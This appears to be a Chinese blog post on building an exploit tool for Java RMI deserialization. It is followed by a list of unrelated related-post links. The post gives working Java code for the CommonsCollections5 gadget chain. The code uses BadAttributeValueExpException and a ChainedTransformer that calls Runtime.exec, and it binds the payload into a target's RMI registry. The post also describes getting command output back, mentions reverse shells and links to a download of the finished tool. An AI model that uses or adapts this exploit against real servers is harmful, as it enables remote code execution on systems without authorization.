rmi 反序列化漏洞_写一个rmi反序列化工具
RMI(java 远程方法调用),RMI服务端和客户端之间通过序列化对象进行传输,所以JDK8 U121之前的版本存在反序列化漏洞。RMI和java反序列化原理就不详细介绍了。RMI反序列化利用成功的条件如下:
1.能够进行rmi通信。
2.JDK版本小于8.0.121
3.引入存在反序列化链的库,以commons.collections为例的话,就需要其版本小于commons.collections3.2。commons.collections3.2引入了黑名单机制,如下图所示:
其实网上有rmi反序列化工具,我们也一直在用,是大佬“小天之天”写的attackRMI。为什么我又要重新写一个呢,是因为最近看了一下工具源码,它是通过AnnotationInvocationHandler构造反序列化链的,但是我发现在commons.collections3.1中AnnotationInvocationHandler构造反序列化链不能成功复现,具体原因如果要讲清楚的话,篇幅会很长,推荐看下https://www.freebuf.com/vuls/175252.html。所以attackRMI势必会降低pwn的成功率。
我打算使用ysoserial中的Commons-Collections5(BadAttributeValueException)来构造反序列化链。推荐阅读:https://www.cnblogs.com/afanti/p/10199235.html。
BadAttributeValueException调用链如下:
BadAttributeValueException.readObject ->TiedMapEntry.toString ->LazyMap.get ->ChainedTransformer.transform
rmi反序列化代码:
String ip = "127.0.0.1"; int port = 1099;// 要执行的命令 String command = "calc"; final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); //lazyMap.get("haha"); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //TiedMapEntry中调用了toString方法->调用了map的get方法// BadAttributeValueExpException poc = new BadAttributeValueExpException(null); //BadAttributeValueExpException的构造方法调用toString方法// val是私有变量,所以利用下面方法进行赋值,val变量赋值为TiedMapEntry的实例化对象,// 重写了BadAttributeValueExpException的readObject方法的val变量赋值为BadAttributeValueExpException类,// 就会调用BadAttributeValueExpException的val = valObj.toString();触发上面的// System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true"); Field valfield = poc.getClass().getDeclaredField("val");// System.out.println(valfield); valfield.setAccessible(true); valfield.set(poc, entry);// File f = new File("poc.txt");// ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));// out.writeObject(poc);// out.close();//// //从文件中反序列化obj对象// //System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");// FileInputStream fis = new FileInputStream("poc.txt");// ObjectInputStream ois = new ObjectInputStream(fis);// //恢复对象// ois.readObject();// ois.close(); String name = "pwned"+ System.nanoTime(); Map<String, Object> map = new HashMap<String, Object>(); map.put(name, poc);// 获得AnnotationInvocationHandler的构造函数 Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0]; cl.setAccessible(true);// 实例化一个代理 InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map); Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl); Remote remote = Remote.class.cast(object); Registry registry= LocateRegistry.getRegistry(ip,port); registry.bind(name,remote);
有了这段代码就可以写工具了,既然要写成exp那肯定是需要命令回显的,除了反弹shell还有什么办法吗?因为Windows反弹shell比较麻烦,所以还是不太想使用反弹shell。咱看一下 attackRMI是怎么写的。首先在拿到命令执行权限后,上传一个ErrorBaseExec.class文件。然后再通过这个类里面的do_exec()函数来执行命令。
命令回显是通过报错来返回的,也就是说把结果写到错误信息里,让系统来捕获,最后返回给客户端。
复现:
靶机:win10,JDK1.8_0_078 , commons.collections3.1
服务端:
attackRMI:
我的:
但是环境的JDK和cc版本还是比较老,有时间以后还会对此工具进一步更新优化。
工具下载:
链接:https://pan.baidu.com/s/1Hp0bpPt0-UfXa4N41MysuQ
提取码:j8s7
复制这段内容后打开百度网盘手机App,操作更方便哦
rmi 反序列化漏洞_写一个rmi反序列化工具相关推荐
- 从 1 到完美,用 node 写一个命令行工具
从 1 到完美,用 node 写一个命令行工具 1. package.json 中的 bin 字段 现在,不管是前端项目还是 node 项目,一般都会用 npm 做包管理工具,而 package.js ...
- 用Python写一个纪念日计算工具
用python写一个纪念日计算工具 前言 主要内容 日期计算函数 GUI布局 用pyinstaller打包生成.exe文件 打包后的.exe文件预览 运行结果 最后提前祝马英俊生日快乐吧~ 前言 纪念 ...
- 怎么画图自动生成HTML,用canvas写一个简易画图工具
本文将为您描述用canvas写一个简易画图工具,具体操作方法: Document style="border:1px solid #000000;">您的浏览器不支持canv ...
- 用JavaScript写一个正则表达式测试工具
用JavaScript写一个正则表达式测试工具 <!DOCTYPE html> <html><head><meta charset="utf-8&q ...
- rmi 反序列化漏洞_提醒:Apache Dubbo存在反序列化漏洞
背景: 近日监测到Apache Dubbo存在反序列化漏洞(CVE-2019-17564),此漏洞可导致远程代码执行.Apache Dubbo是一款应用广泛的高性能轻量级的Java RPC分布式服务框 ...
- rmi 反序列化漏洞_IDEA动态调试(二)——反序列化漏洞(Fastjson)
一.反序列化的原理及特点 1.什么是反序列化 序列化就是把java类转换成字节流,xml数据.json格式数据等: 反序列化就是把字节流,xml数据.json格式数据转换回java类. 2.反序列化漏 ...
- fastjson反序列化漏洞_【漏洞复现】fastjson反序列化漏洞
0x00 影响版本 fastjson< 1.2.48 0x01 漏洞原理 Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON ...
- fastjson反序列化漏洞_漏洞预警Fastjson再爆反序列化代码执行漏洞;星巴克被发现存在信息泄露风险...
漏洞预警 Fastjson再次爆出通杀的反序列化代码执行漏洞 漏洞信息 据态势感知平台监测,网络上再次出现此前未曾发现的fastjson反序列化攻击向量. Fastjson是由阿里巴巴推出基于Java ...
- fastjson反序列化漏洞_【安全风险通告】fastjson反序列化远程代码执行漏洞安全风险通告...
近日,奇安信CERT监测到fastjson官方发布新版本,修补了一个反序列化远程代码执行漏洞.远程攻击者可利用该漏洞绕过autoType限制,进而可在目标服务器上执行任意命令.鉴于该漏洞影响较大,建议 ...
最新文章
- 一起学nRF51xx 3 - gpiote
- python 面向对象(类)--学习笔记
- iOSUI视图面试及原理总结
- 红米手机停在机器人这里_iQOO Z1和红米K30 至尊纪念版,谁更值得选择?
- random_shuffle 和transform算法
- 学之思开源考试系统 - 使用手册
- 原生js实现类似jq的trigger
- 人生这道题,要该怎么做?
- 20200210:(leetcode 623)在二叉树中增加一行
- Node.js学习心得
- 【C#】反射与面向接口的架构
- 开源微信共享记账小程序
- p5.js之Q版人物绘制
- 一、绘制不同类别特征均值标准差直方图
- js鼠标单击和双击事件
- 音频格式(一)PCM和WAV
- matlab 构建雅可比矩阵,matlab jacobian函数
- java中unknown source,java - 对于 提示信息为 unknown source的解决办法: jdk 替换jre, 编译时加上debug=true...
- 关于Centos7 下df -h 无响应
- Anaconda - conda 常用命令